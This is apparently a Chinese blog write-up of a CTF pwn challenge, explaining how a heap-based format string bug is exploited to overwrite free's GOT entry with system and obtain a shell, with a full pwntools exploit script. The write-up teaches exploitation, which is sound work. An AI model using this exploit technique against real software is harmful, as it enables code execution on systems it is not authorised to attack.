buuoj [第六章 CTF之PWN章]fsb

非棧上的格式化字符串漏洞 + 劫持GOT表

瞅瞅檢查

在這裏插入圖片描述
開了NX、canary跟PIE。

RELRO沒有開,可以考慮劫持GOT表。

在這裏插入圖片描述
進去是個循環

在這裏插入圖片描述
裏面是個格式化字符串漏洞。

因爲它開的空間是堆上的,所以常規棧上的格式化字符串漏洞不能用。

在這裏插入圖片描述
非棧上的格式化字符串漏洞

非棧上的格式化字符串漏洞的話,先在printf處下斷點。
在這裏插入圖片描述
總體思路
滿足利用要求的三個指針分別在printf第10、16、20個參數的位置。該程序在循環執行20次輸入、輸出前申請了一個內存塊,用於存放輸入的字符串,循環結束後會釋放掉這個內存然後退出程序。我們將0x7ffffffee080處的值修改爲GOT表中free函數的地址,再將其中的函數指針改爲system函數的地址,這樣在執行free函數時,實際執行的就是system,只要輸入‘/bin/sh’就可以拿到shell。


具體實現
先泄露棧地址,ELF程序地址,libc地址,分別在棧上找到偏移,然後泄露出來。

因爲我們輸入的東西在堆上,所以不能通過常規的寫入GOT表地址然後劫持,只能先把地址寫在棧上,然後劫持。
在棧上寫地址的時候又要注意,不能直接寫,因爲要寫的地址是一個大數字,不能一下寫進去,printf的緩衝區開不了那麼大,所以只能一個字節一個字節寫。
假設我們現在能控制棧裏面的三個地方,分別是p1,p2,p3,p1裏面放着p2,p2裏面放着p3,p3裏面放着一個我們要替換的地址,我們需要講p3中的地址覆蓋成free_got,那麼我們需要通過p2寫,但是需要一個字節一個字節寫,所以需要修改p2,那麼就需要p1來修改p2,從而達到一個鏈。
往free_got中寫system一個道理,鏈q1是p2,q2對應p3,free_got對應p3。


from pwn import *

p=process('./fsb2')
libc = ELF('./libc-2.27.so')
elf = ELF('./fsb2')

p.recvuntil('name:')
p.sendline('%10$p%11$p%21$p')

p.recvuntil('0x')
stack_addr = int(p.recvuntil('0x')[:-2],16)
addr1 = int(p.recvuntil('0x')[:-2],16)
base = addr1 - elf.symbols['vuln']-0x3f
addr2 = int(p.recvuntil('\n')[:-1],16)
libc_base = addr2 - libc.symbols['__libc_start_main']-0xe7

p1 = stack_addr-48
p2 = stack_addr
p3 = stack_addr+32

free_got = base + elf.got['free']
system = libc_base + libc.symbols['system']

#overwrite p3 to free_got
for i in range(0,6):
	x = 5-i
	off = (p3+x)&0xff
	p.recvuntil('name')
	p.sendline("%"+str(off)+"c%10$hhn"+'\x00'*50)

	ch = (free_got>>(x*8))&0xff
	p.recvuntil('name')
	p.sendline("%"+str(ch)+"c%16$hhn"+'\x00'*50)

#overwrite free_got to system
for i in range(0,6):
	off = (free_got+i)&0xff
	p.recvuntil('name')
	p.sendline("%"+str(off)+"c%16$hhn"+'\x00'*50)

	ch = (system>>(i*8))&0xff
	p.recvuntil('name')
	p.sendline("%"+str(ch)+"c%20$hhn"+'\x00'*50)

for i in range(30-25):
	p.recvuntil('name')
	p.sendline('/bin/sh'+'\x00'*100)

p.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章